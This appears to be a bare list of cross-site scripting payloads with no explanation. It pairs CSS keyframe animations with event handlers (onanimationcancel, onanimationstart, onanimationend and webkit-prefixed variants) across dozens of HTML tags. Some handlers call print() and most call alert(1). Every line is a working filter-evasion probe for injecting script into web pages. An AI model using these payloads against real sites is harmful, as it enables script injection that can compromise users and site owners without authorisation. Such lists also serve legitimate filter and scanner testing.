<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><set id=x style="position:absolute;" onanimationcancel="print()"></set>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><shadow id=x style="position:absolute;" onanimationcancel="print()"></shadow>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><slot id=x style="position:absolute;" onanimationcancel="print()"></slot>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><small id=x style="position:absolute;" onanimationcancel="print()"></small>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><source id=x style="position:absolute;" onanimationcancel="print()"></source>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><spacer id=x style="position:absolute;" onanimationcancel="print()"></spacer>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><span id=x style="position:absolute;" onanimationcancel="print()"></span>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strike id=x style="position:absolute;" onanimationcancel="print()"></strike>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><strong id=x style="position:absolute;" onanimationcancel="print()"></strong>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><style id=x style="position:absolute;" onanimationcancel="print()"></style>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sub id=x style="position:absolute;" onanimationcancel="print()"></sub>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><summary id=x style="position:absolute;" onanimationcancel="print()"></summary>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><sup id=x style="position:absolute;" onanimationcancel="print()"></sup>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><svg id=x style="position:absolute;" onanimationcancel="print()"></svg>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><table id=x style="position:absolute;" onanimationcancel="print()"></table>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tbody id=x style="position:absolute;" onanimationcancel="print()"></tbody>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><td id=x style="position:absolute;" onanimationcancel="print()"></td>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><template id=x style="position:absolute;" onanimationcancel="print()"></template>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><textarea id=x style="position:absolute;" onanimationcancel="print()"></textarea>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tfoot id=x style="position:absolute;" onanimationcancel="print()"></tfoot>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><th id=x style="position:absolute;" onanimationcancel="print()"></th>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><thead id=x style="position:absolute;" onanimationcancel="print()"></thead>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><time id=x style="position:absolute;" onanimationcancel="print()"></time>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><title id=x style="position:absolute;" onanimationcancel="print()"></title>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tr id=x style="position:absolute;" onanimationcancel="print()"></tr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><track id=x style="position:absolute;" onanimationcancel="print()"></track>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><tt id=x style="position:absolute;" onanimationcancel="print()"></tt>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><u id=x style="position:absolute;" onanimationcancel="print()"></u>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><ul id=x style="position:absolute;" onanimationcancel="print()"></ul>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><var id=x style="position:absolute;" onanimationcancel="print()"></var>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video id=x style="position:absolute;" onanimationcancel="print()"></video>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><video2 id=x style="position:absolute;" onanimationcancel="print()"></video2>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><wbr id=x style="position:absolute;" onanimationcancel="print()"></wbr>
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xmp id=x style="position:absolute;" onanimationcancel="print()"></xmp>
<style>@keyframes x{}</style><a style="animation-name:x" onanimationend="alert(1)"></a>
<style>@keyframes x{}</style><a style="animation-name:x" onanimationstart="alert(1)"></a>
<style>@keyframes x{}</style><a style="animation-name:x" onwebkitanimationend="alert(1)"></a>
<style>@keyframes x{}</style><a style="animation-name:x" onwebkitanimationstart="alert(1)"></a>
<style>@keyframes x{}</style><a2 style="animation-name:x" onanimationend="alert(1)"></a2>
<style>@keyframes x{}</style><a2 style="animation-name:x" onanimationstart="alert(1)"></a2>
<style>@keyframes x{}</style><a2 style="animation-name:x" onwebkitanimationend="alert(1)"></a2>
<style>@keyframes x{}</style><a2 style="animation-name:x" onwebkitanimationstart="alert(1)"></a2>
<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationend="alert(1)"></abbr>
<style>@keyframes x{}</style><abbr style="animation-name:x" onanimationstart="alert(1)"></abbr>
<style>@keyframes x{}</style><abbr style="animation-name:x" onwebkitanimationend="alert(1)"></abbr>
<style>@keyframes x{}</style><abbr style="animation-name:x" onwebkitanimationstart="alert(1)"></abbr>
<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationend="alert(1)"></acronym>
<style>@keyframes x{}</style><acronym style="animation-name:x" onanimationstart="alert(1)"></acronym>
<style>@keyframes x{}</style><acronym style="animation-name:x" onwebkitanimationend="alert(1)"></acronym>
<style>@keyframes x{}</style><acronym style="animation-name:x" onwebkitanimationstart="alert(1)"></acronym>
<style>@keyframes x{}</style><address style="animation-name:x" onanimationend="alert(1)"></address>
<style>@keyframes x{}</style><address style="animation-name:x" onanimationstart="alert(1)"></address>
<style>@keyframes x{}</style><address style="animation-name:x" onwebkitanimationend="alert(1)"></address>
<style>@keyframes x{}</style><address style="animation-name:x" onwebkitanimationstart="alert(1)"></address>
<style>@keyframes x{}</style><animate style="animation-name:x" onanimationend="alert(1)"></animate>
<style>@keyframes x{}</style><animate style="animation-name:x" onanimationstart="alert(1)"></animate>
<style>@keyframes x{}</style><animate style="animation-name:x" onwebkitanimationend="alert(1)"></animate>
<style>@keyframes x{}</style><animate style="animation-name:x" onwebkitanimationstart="alert(1)"></animate>
<style>@keyframes x{}</style><animatemotion style="animation-name:x" onanimationend="alert(1)"></animatemotion>
<style>@keyframes x{}</style><animatemotion style="animation-name:x" onanimationstart="alert(1)"></animatemotion>
<style>@keyframes x{}</style><animatemotion style="animation-name:x" onwebkitanimationend="alert(1)"></animatemotion>
<style>@keyframes x{}</style><animatemotion style="animation-name:x" onwebkitanimationstart="alert(1)"></animatemotion>
<style>@keyframes x{}</style><animatetransform style="animation-name:x" onanimationend="alert(1)"></animatetransform>
<style>@keyframes x{}</style><animatetransform style="animation-name:x" onanimationstart="alert(1)"></animatetransform>
<style>@keyframes x{}</style><animatetransform style="animation-name:x" onwebkitanimationend="alert(1)"></animatetransform>
<style>@keyframes x{}</style><animatetransform style="animation-name:x" onwebkitanimationstart="alert(1)"></animatetransform>
<style>@keyframes x{}</style><applet style="animation-name:x" onanimationend="alert(1)"></applet>
<style>@keyframes x{}</style><applet style="animation-name:x" onanimationstart="alert(1)"></applet>
<style>@keyframes x{}</style><applet style="animation-name:x" onwebkitanimationend="alert(1)"></applet>
<style>@keyframes x{}</style><applet style="animation-name:x" onwebkitanimationstart="alert(1)"></applet>
<style>@keyframes x{}</style><area style="animation-name:x" onanimationend="alert(1)"></area>
<style>@keyframes x{}</style><area style="animation-name:x" onanimationstart="alert(1)"></area>
<style>@keyframes x{}</style><area style="animation-name:x" onwebkitanimationend="alert(1)"></area>
<style>@keyframes x{}</style><area style="animation-name:x" onwebkitanimationstart="alert(1)"></area>
<style>@keyframes x{}</style><article style="animation-name:x" onanimationend="alert(1)"></article>
<style>@keyframes x{}</style><article style="animation-name:x" onanimationstart="alert(1)"></article>
<style>@keyframes x{}</style><article style="animation-name:x" onwebkitanimationend="alert(1)"></article>
<style>@keyframes x{}</style><article style="animation-name:x" onwebkitanimationstart="alert(1)"></article>
<style>@keyframes x{}</style><aside style="animation-name:x" onanimationend="alert(1)"></aside>
<style>@keyframes x{}</style><aside style="animation-name:x" onanimationstart="alert(1)"></aside>
<style>@keyframes x{}</style><aside style="animation-name:x" onwebkitanimationend="alert(1)"></aside>
<style>@keyframes x{}</style><aside style="animation-name:x" onwebkitanimationstart="alert(1)"></aside>
<style>@keyframes x{}</style><audio style="animation-name:x" onanimationend="alert(1)"></audio>
<style>@keyframes x{}</style><audio style="animation-name:x" onanimationstart="alert(1)"></audio>
<style>@keyframes x{}</style><audio style="animation-name:x" onwebkitanimationend="alert(1)"></audio>
<style>@keyframes x{}</style><audio style="animation-name:x" onwebkitanimationstart="alert(1)"></audio>
<style>@keyframes x{}</style><audio2 style="animation-name:x" onanimationend="alert(1)"></audio2>
<style>@keyframes x{}</style><audio2 style="animation-name:x" onanimationstart="alert(1)"></audio2>
<style>@keyframes x{}</style><audio2 style="animation-name:x" onwebkitanimationend="alert(1)"></audio2>
<style>@keyframes x{}</style><audio2 style="animation-name:x" onwebkitanimationstart="alert(1)"></audio2>
<style>@keyframes x{}</style><b style="animation-name:x" onanimationend="alert(1)"></b>
<style>@keyframes x{}</style><b style="animation-name:x" onanimationstart="alert(1)"></b>
<style>@keyframes x{}</style><b style="animation-name:x" onwebkitanimationend="alert(1)"></b>
<style>@keyframes x{}</style><b style="animation-name:x" onwebkitanimationstart="alert(1)"></b>
<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationend="alert(1)"></bdi>
<style>@keyframes x{}</style><bdi style="animation-name:x" onanimationstart="alert(1)"></bdi>
<style>@keyframes x{}</style><bdi style="animation-name:x" onwebkitanimationend="alert(1)"></bdi>
<style>@keyframes x{}</style><bdi style="animation-name:x" onwebkitanimationstart="alert(1)"></bdi>
<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationend="alert(1)"></bdo>
<style>@keyframes x{}</style><bdo style="animation-name:x" onanimationstart="alert(1)"></bdo>
<style>@keyframes x{}</style><bdo style="animation-name:x" onwebkitanimationend="alert(1)"></bdo>
<style>@keyframes x{}</style><bdo style="animation-name:x" onwebkitanimationstart="alert(1)"></bdo>
<style>@keyframes x{}</style><big style="animation-name:x" onanimationend="alert(1)"></big>
<style>@keyframes x{}</style><big style="animation-name:x" onanimationstart="alert(1)"></big>
<style>@keyframes x{}</style><big style="animation-name:x" onwebkitanimationend="alert(1)"></big>
<style>@keyframes x{}</style><big style="animation-name:x" onwebkitanimationstart="alert(1)"></big>
<style>@keyframes x{}</style><blink style="animation-name:x" onanimationend="alert(1)"></blink>
<style>@keyframes x{}</style><blink style="animation-name:x" onanimationstart="alert(1)"></blink>
<style>@keyframes x{}</style><blink style="animation-name:x" onwebkitanimationend="alert(1)"></blink>
<style>@keyframes x{}</style><blink style="animation-name:x" onwebkitanimationstart="alert(1)"></blink>
<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationend="alert(1)"></blockquote>
<style>@keyframes x{}</style><blockquote style="animation-name:x" onanimationstart="alert(1)"></blockquote>
<style>@keyframes x{}</style><blockquote style="animation-name:x" onwebkitanimationend="alert(1)"></blockquote>
<style>@keyframes x{}</style><blockquote style="animation-name:x" onwebkitanimationstart="alert(1)"></blockquote>
<style>@keyframes x{}</style><body style="animation-name:x" onanimationend="alert(1)"></body>
<style>@keyframes x{}</style><body style="animation-name:x" onanimationstart="alert(1)"></body>
<style>@keyframes x{}</style><body style="animation-name:x" onwebkitanimationend="alert(1)"></body>
<style>@keyframes x{}</style><body style="animation-name:x" onwebkitanimationstart="alert(1)"></body>
<style>@keyframes x{}</style><br style="animation-name:x" onanimationend="alert(1)"></br>
<style>@keyframes x{}</style><br style="animation-name:x" onanimationstart="alert(1)"></br>
<style>@keyframes x{}</style><br style="animation-name:x" onwebkitanimationend="alert(1)"></br>
<style>@keyframes x{}</style><br style="animation-name:x" onwebkitanimationstart="alert(1)"></br>
<style>@keyframes x{}</style><button style="animation-name:x" onanimationend="alert(1)"></button>
<style>@keyframes x{}</style><button style="animation-name:x" onanimationstart="alert(1)"></button>
<style>@keyframes x{}</style><button style="animation-name:x" onwebkitanimationend="alert(1)"></button>
<style>@keyframes x{}</style><button style="animation-name:x" onwebkitanimationstart="alert(1)"></button>
<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationend="alert(1)"></canvas>
<style>@keyframes x{}</style><canvas style="animation-name:x" onanimationstart="alert(1)"></canvas>
<style>@keyframes x{}</style><canvas style="animation-name:x" onwebkitanimationend="alert(1)"></canvas>
<style>@keyframes x{}</style><canvas style="animation-name:x" onwebkitanimationstart="alert(1)"></canvas>
<style>@keyframes x{}</style><caption style="animation-name:x" onanimationend="alert(1)"></caption>
<style>@keyframes x{}</style><caption style="animation-name:x" onanimationstart="alert(1)"></caption>
<style>@keyframes x{}</style><caption style="animation-name:x" onwebkitanimationend="alert(1)"></caption>
<style>@keyframes x{}</style><caption style="animation-name:x" onwebkitanimationstart="alert(1)"></caption>
<style>@keyframes x{}</style><center style="animation-name:x" onanimationend="alert(1)"></center>
<style>@keyframes x{}</style><center style="animation-name:x" onanimationstart="alert(1)"></center>
<style>@keyframes x{}</style><center style="animation-name:x" onwebkitanimationend="alert(1)"></center>
<style>@keyframes x{}</style><center style="animation-name:x" onwebkitanimationstart="alert(1)"></center>
<style>@keyframes x{}</style><cite style="animation-name:x" onanimationend="alert(1)"></cite>
<style>@keyframes x{}</style><cite style="animation-name:x" onanimationstart="alert(1)"></cite>
<style>@keyframes x{}</style><cite style="animation-name:x" onwebkitanimationend="alert(1)"></cite>
<style>@keyframes x{}</style><cite style="animation-name:x" onwebkitanimationstart="alert(1)"></cite>
<style>@keyframes x{}</style><code style="animation-name:x" onanimationend="alert(1)"></code>
<style>@keyframes x{}</style><code style="animation-name:x" onanimationstart="alert(1)"></code>
<style>@keyframes x{}</style><code style="animation-name:x" onwebkitanimationend="alert(1)"></code>
<style>@keyframes x{}</style><code style="animation-name:x" onwebkitanimationstart="alert(1)"></code>
<style>@keyframes x{}</style><col style="animation-name:x" onanimationend="alert(1)"></col>
<style>@keyframes x{}</style><col style="animation-name:x" onanimationstart="alert(1)"></col>
<style>@keyframes x{}</style><col style="animation-name:x" onwebkitanimationend="alert(1)"></col>
<style>@keyframes x{}</style><col style="animation-name:x" onwebkitanimationstart="alert(1)"></col>
<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationend="alert(1)"></colgroup>
<style>@keyframes x{}</style><colgroup style="animation-name:x" onanimationstart="alert(1)"></colgroup>
<style>@keyframes x{}</style><colgroup style="animation-name:x" onwebkitanimationend="alert(1)"></colgroup>
<style>@keyframes x{}</style><colgroup style="animation-name:x" onwebkitanimationstart="alert(1)"></colgroup>
<style>@keyframes x{}</style><command style="animation-name:x" onanimationend="alert(1)"></command>
<style>@keyframes x{}</style><command style="animation-name:x" onanimationstart="alert(1)"></command>
<style>@keyframes x{}</style><command style="animation-name:x" onwebkitanimationend="alert(1)"></command>
<style>@keyframes x{}</style><command style="animation-name:x" onwebkitanimationstart="alert(1)"></command>
<style>@keyframes x{}</style><content style="animation-name:x" onanimationend="alert(1)"></content>
<style>@keyframes x{}</style><content style="animation-name:x" onanimationstart="alert(1)"></content>
<style>@keyframes x{}</style><content style="animation-name:x" onwebkitanimationend="alert(1)"></content>
<style>@keyframes x{}</style><content style="animation-name:x" onwebkitanimationstart="alert(1)"></content>
<style>@keyframes x{}</style><custom tags style="animation-name:x" onanimationend="alert(1)"></custom tags>
<style>@keyframes x{}</style><custom tags style="animation-name:x" onanimationstart="alert(1)"></custom tags>
<style>@keyframes x{}</style><custom tags style="animation-name:x" onwebkitanimationend="alert(1)"></custom tags>
<style>@keyframes x{}</style><custom tags style="animation-name:x" onwebkitanimationstart="alert(1)"></custom tags>
<style>@keyframes x{}</style><data style="animation-name:x" onanimationend="alert(1)"></data>
<style>@keyframes x{}</style><data style="animation-name:x" onanimationstart="alert(1)"></data>
<style>@keyframes x{}</style><data style="animation-name:x" onwebkitanimationend="alert(1)"></data>
<style>@keyframes x{}</style><data style="animation-name:x" onwebkitanimationstart="alert(1)"></data>
<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationend="alert(1)"></datalist>
<style>@keyframes x{}</style><datalist style="animation-name:x" onanimationstart="alert(1)"></datalist>
<style>@keyframes x{}</style><datalist style="animation-name:x" onwebkitanimationend="alert(1)"></datalist>
<style>@keyframes x{}</style><datalist style="animation-name:x" onwebkitanimationstart="alert(1)"></datalist>
<style>@keyframes x{}</style><dd style="animation-name:x" onanimationend="alert(1)"></dd>
<style>@keyframes x{}</style><dd style="animation-name:x" onanimationstart="alert(1)"></dd>
<style>@keyframes x{}</style><dd style="animation-name:x" onwebkitanimationend="alert(1)"></dd>
<style>@keyframes x{}</style><dd style="animation-name:x" onwebkitanimationstart="alert(1)"></dd>
<style>@keyframes x{}</style><del style="animation-name:x" onanimationend="alert(1)"></del>
<style>@keyframes x{}</style><del style="animation-name:x" onanimationstart="alert(1)"></del>
<style>@keyframes x{}</style><del style="animation-name:x" onwebkitanimationend="alert(1)"></del>
<style>@keyframes x{}</style><del style="animation-name:x" onwebkitanimationstart="alert(1)"></del>
<style>@keyframes x{}</style><details style="animation-name:x" onanimationend="alert(1)"></details>
<style>@keyframes x{}</style><details style="animation-name:x" onanimationstart="alert(1)"></details>
<style>@keyframes x{}</style><details style="animation-name:x" onwebkitanimationend="alert(1)"></details>
<style>@keyframes x{}</style><details style="animation-name:x" onwebkitanimationstart="alert(1)"></details>
<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationend="alert(1)"></dfn>
<style>@keyframes x{}</style><dfn style="animation-name:x" onanimationstart="alert(1)"></dfn>
<style>@keyframes x{}</style><dfn style="animation-name:x" onwebkitanimationend="alert(1)"></dfn>
<style>@keyframes x{}</style><dfn style="animation-name:x" onwebkitanimationstart="alert(1)"></dfn>
<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationend="alert(1)"></dialog>
<style>@keyframes x{}</style><dialog style="animation-name:x" onanimationstart="alert(1)"></dialog>
<style>@keyframes x{}</style><dialog style="animation-name:x" onwebkitanimationend="alert(1)"></dialog>
<style>@keyframes x{}</style><dialog style="animation-name:x" onwebkitanimationstart="alert(1)"></dialog>
<style>@keyframes x{}</style><dir style="animation-name:x" onanimationend="alert(1)"></dir>
<style>@keyframes x{}</style><dir style="animation-name:x" onanimationstart="alert(1)"></dir>
<style>@keyframes x{}</style><dir style="animation-name:x" onwebkitanimationend="alert(1)"></dir>
<style>@keyframes x{}</style><dir style="animation-name:x" onwebkitanimationstart="alert(1)"></dir>
<style>@keyframes x{}</style><div style="animation-name:x" onanimationend="alert(1)"></div>
<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart="alert(1)"></div>
<style>@keyframes x{}</style><div style="animation-name:x" onwebkitanimationend="alert(1)"></div>
<style>@keyframes x{}</style><div style="animation-name:x" onwebkitanimationstart="alert(1)"></div>
<style>@keyframes x{}</style><dl style="animation-name:x" onanimationend="alert(1)"></dl>
<style>@keyframes x{}</style><dl style="animation-name:x" onanimationstart="alert(1)"></dl>
<style>@keyframes x{}</style><dl style="animation-name:x" onwebkitanimationend="alert(1)"></dl>
<style>@keyframes x{}</style><dl style="animation-name:x" onwebkitanimationstart="alert(1)"></dl>
<style>@keyframes x{}</style><dt style="animation-name:x" onanimationend="alert(1)"></dt>
<style>@keyframes x{}</style><dt style="animation-name:x" onanimationstart="alert(1)"></dt>
<style>@keyframes x{}</style><dt style="animation-name:x" onwebkitanimationend="alert(1)"></dt>
<style>@keyframes x{}</style><dt style="animation-name:x" onwebkitanimationstart="alert(1)"></dt>
<style>@keyframes x{}</style><element style="animation-name:x" onanimationend="alert(1)"></element>
<style>@keyframes x{}</style><element style="animation-name:x" onanimationstart="alert(1)"></element>
<style>@keyframes x{}</style><element style="animation-name:x" onwebkitanimationend="alert(1)"></element>
<style>@keyframes x{}</style><element style="animation-name:x" onwebkitanimationstart="alert(1)"></element>
<style>@keyframes x{}</style><em style="animation-name:x" onanimationend="alert(1)"></em>
<style>@keyframes x{}</style><em style="animation-name:x" onanimationstart="alert(1)"></em>
<style>@keyframes x{}</style><em style="animation-name:x" onwebkitanimationend="alert(1)"></em>
<style>@keyframes x{}</style><em style="animation-name:x" onwebkitanimationstart="alert(1)"></em>
<style>@keyframes x{}</style><embed style="animation-name:x" onanimationend="alert(1)"></embed>
<style>@keyframes x{}</style><embed style="animation-name:x" onanimationstart="alert(1)"></embed>
<style>@keyframes x{}</style><embed style="animation-name:x" onwebkitanimationend="alert(1)"></embed>
<style>@keyframes x{}</style><embed style="animation-name:x" onwebkitanimationstart="alert(1)"></embed>
<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationend="alert(1)"></fieldset>
<style>@keyframes x{}</style><fieldset style="animation-name:x" onanimationstart="alert(1)"></fieldset>
<style>@keyframes x{}</style><fieldset style="animation-name:x" onwebkitanimationend="alert(1)"></fieldset>
<style>@keyframes x{}</style><fieldset style="animation-name:x" onwebkitanimationstart="alert(1)"></fieldset>
<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationend="alert(1)"></figcaption>
<style>@keyframes x{}</style><figcaption style="animation-name:x" onanimationstart="alert(1)"></figcaption>
<style>@keyframes x{}</style><figcaption style="animation-name:x" onwebkitanimationend="alert(1)"></figcaption>
<style>@keyframes x{}</style><figcaption style="animation-name:x" onwebkitanimationstart="alert(1)"></figcaption>
<style>@keyframes x{}</style><figure style="animation-name:x" onanimationend="alert(1)"></figure>
<style>@keyframes x{}</style><figure style="animation-name:x" onanimationstart="alert(1)"></figure>
<style>@keyframes x{}</style><figure style="animation-name:x" onwebkitanimationend="alert(1)"></figure>
<style>@keyframes x{}</style><figure style="animation-name:x" onwebkitanimationstart="alert(1)"></figure>
<style>@keyframes x{}</style><font style="animation-name:x" onanimationend="alert(1)"></font>
<style>@keyframes x{}</style><font style="animation-name:x" onanimationstart="alert(1)"></font>
<style>@keyframes x{}</style><font style="animation-name:x" onwebkitanimationend="alert(1)"></font>
<style>@keyframes x{}</style><font style="animation-name:x" onwebkitanimationstart="alert(1)"></font>
<style>@keyframes x{}</style><footer style="animation-name:x" onanimationend="alert(1)"></footer>
<style>@keyframes x{}</style><footer style="animation-name:x" onanimationstart="alert(1)"></footer>
<style>@keyframes x{}</style><footer style="animation-name:x" onwebkitanimationend="alert(1)"></footer>
<style>@keyframes x{}</style><footer style="animation-name:x" onwebkitanimationstart="alert(1)"></footer>
<style>@keyframes x{}</style><form style="animation-name:x" onanimationend="alert(1)"></form>
<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"></form>
<style>@keyframes x{}</style><form style="animation-name:x" onwebkitanimationend="alert(1)"></form>
<style>@keyframes x{}</style><form style="animation-name:x" onwebkitanimationstart="alert(1)"></form>
<style>@keyframes x{}</style><frame style="animation-name:x" onanimationend="alert(1)"></frame>
<style>@keyframes x{}</style><frame style="animation-name:x" onanimationstart="alert(1)"></frame>
<style>@keyframes x{}</style><frame style="animation-name:x" onwebkitanimationend="alert(1)"></frame>
<style>@keyframes x{}</style><frame style="animation-name:x" onwebkitanimationstart="alert(1)"></frame>
<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationend="alert(1)"></frameset>
<style>@keyframes x{}</style><frameset style="animation-name:x" onanimationstart="alert(1)"></frameset>
<style>@keyframes x{}</style><frameset style="animation-name:x" onwebkitanimationend="alert(1)"></frameset>
<style>@keyframes x{}</style><frameset style="animation-name:x" onwebkitanimationstart="alert(1)"></frameset>
<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationend="alert(1)"></h1>
<style>@keyframes x{}</style><h1 style="animation-name:x" onanimationstart="alert(1)"></h1>
<style>@keyframes x{}</style><h1 style="animation-name:x" onwebkitanimationend="alert(1)"></h1>
<style>@keyframes x{}</style><h1 style="animation-name:x" onwebkitanimationstart="alert(1)"></h1>
<style>@keyframes x{}</style><head style="animation-name:x" onanimationend="alert(1)"></head>
<style>@keyframes x{}</style><head style="animation-name:x" onanimationstart="alert(1)"></head>
<style>@keyframes x{}</style><head style="animation-name:x" onwebkitanimationend="alert(1)"></head>
<style>@keyframes x{}</style><head style="animation-name:x" onwebkitanimationstart="alert(1)"></head>
<style>@keyframes x{}</style><header style="animation-name:x" onanimationend="alert(1)"></header>
<style>@keyframes x{}</style><header style="animation-name:x" onanimationstart="alert(1)"></header>
<style>@keyframes x{}</style><header style="animation-name:x" onwebkitanimationend="alert(1)"></header>
<style>@keyframes x{}</style><header style="animation-name:x" onwebkitanimationstart="alert(1)"></header>
<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationend="alert(1)"></hgroup>
<style>@keyframes x{}</style><hgroup style="animation-name:x" onanimationstart="alert(1)"></hgroup>
<style>@keyframes x{}</style><hgroup style="animation-name:x" onwebkitanimationend="alert(1)"></hgroup>
<style>@keyframes x{}</style><hgroup style="animation-name:x" onwebkitanimationstart="alert(1)"></hgroup>
<style>@keyframes x{}</style><hr style="animation-name:x" onanimationend="alert(1)"></hr>
<style>@keyframes x{}</style><hr style="animation-name:x" onanimationstart="alert(1)"></hr>
<style>@keyframes x{}</style><hr style="animation-name:x" onwebkitanimationend="alert(1)"></hr>
<style>@keyframes x{}</style><hr style="animation-name:x" onwebkitanimationstart="alert(1)"></hr>
<style>@keyframes x{}</style><html style="animation-name:x" onanimationend="alert(1)"></html>
<style>@keyframes x{}</style><html style="animation-name:x" onanimationstart="alert(1)"></html>
<style>@keyframes x{}</style><html style="animation-name:x" onwebkitanimationend="alert(1)"></html>
<style>@keyframes x{}</style><html style="animation-name:x" onwebkitanimationstart="alert(1)"></html>
<style>@keyframes x{}</style><i style="animation-name:x" onanimationend="alert(1)"></i>
<style>@keyframes x{}</style><i style="animation-name:x" onanimationstart="alert(1)"></i>
<style>@keyframes x{}</style><i style="animation-name:x" onwebkitanimationend="alert(1)"></i>
<style>@keyframes x{}</style><i style="animation-name:x" onwebkitanimationstart="alert(1)"></i>
<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationend="alert(1)"></iframe>
<style>@keyframes x{}</style><iframe style="animation-name:x" onanimationstart="alert(1)"></iframe>
<style>@keyframes x{}</style><iframe style="animation-name:x" onwebkitanimationend="alert(1)"></iframe>
<style>@keyframes x{}</style><iframe style="animation-name:x" onwebkitanimationstart="alert(1)"></iframe>
<style>@keyframes x{}</style><iframe2 style="animation-name:x" onanimationend="alert(1)"></iframe2>
<style>@keyframes x{}</style><iframe2 style="animation-name:x" onanimationstart="alert(1)"></iframe2>
<style>@keyframes x{}</style><iframe2 style="animation-name:x" onwebkitanimationend="alert(1)"></iframe2>
<style>@keyframes x{}</style><iframe2 style="animation-name:x" onwebkitanimationstart="alert(1)"></iframe2>
<style>@keyframes x{}</style><image style="animation-name:x" onanimationend="alert(1)"></image>
<style>@keyframes x{}</style><image style="animation-name:x" onanimationstart="alert(1)"></image>
<style>@keyframes x{}</style><image style="animation-name:x" onwebkitanimationend="alert(1)"></image>
<style>@keyframes x{}</style><image style="animation-name:x" onwebkitanimationstart="alert(1)"></image>
<style>@keyframes x{}</style><image2 style="animation-name:x" onanimationend="alert(1)"></image2>
<style>@keyframes x{}</style><image2 style="animation-name:x" onanimationstart="alert(1)"></image2>
<style>@keyframes x{}</style><image2 style="animation-name:x" onwebkitanimationend="alert(1)"></image2>
<style>@keyframes x{}</style><image2 style="animation-name:x" onwebkitanimationstart="alert(1)"></image2>
<style>@keyframes x{}</style><image3 style="animation-name:x" onanimationend="alert(1)"></image3>
<style>@keyframes x{}</style><image3 style="animation-name:x" onanimationstart="alert(1)"></image3>
<style>@keyframes x{}</style><image3 style="animation-name:x" onwebkitanimationend="alert(1)"></image3>
<style>@keyframes x{}</style><image3 style="animation-name:x" onwebkitanimationstart="alert(1)"></image3>
<style>@keyframes x{}</style><img style="animation-name:x" onanimationend="alert(1)"></img>
<style>@keyframes x{}</style><img style="animation-name:x" onanimationstart="alert(1)"></img>
<style>@keyframes x{}</style><img style="animation-name:x" onwebkitanimationend="alert(1)"></img>
<style>@keyframes x{}</style><img style="animation-name:x" onwebkitanimationstart="alert(1)"></img>
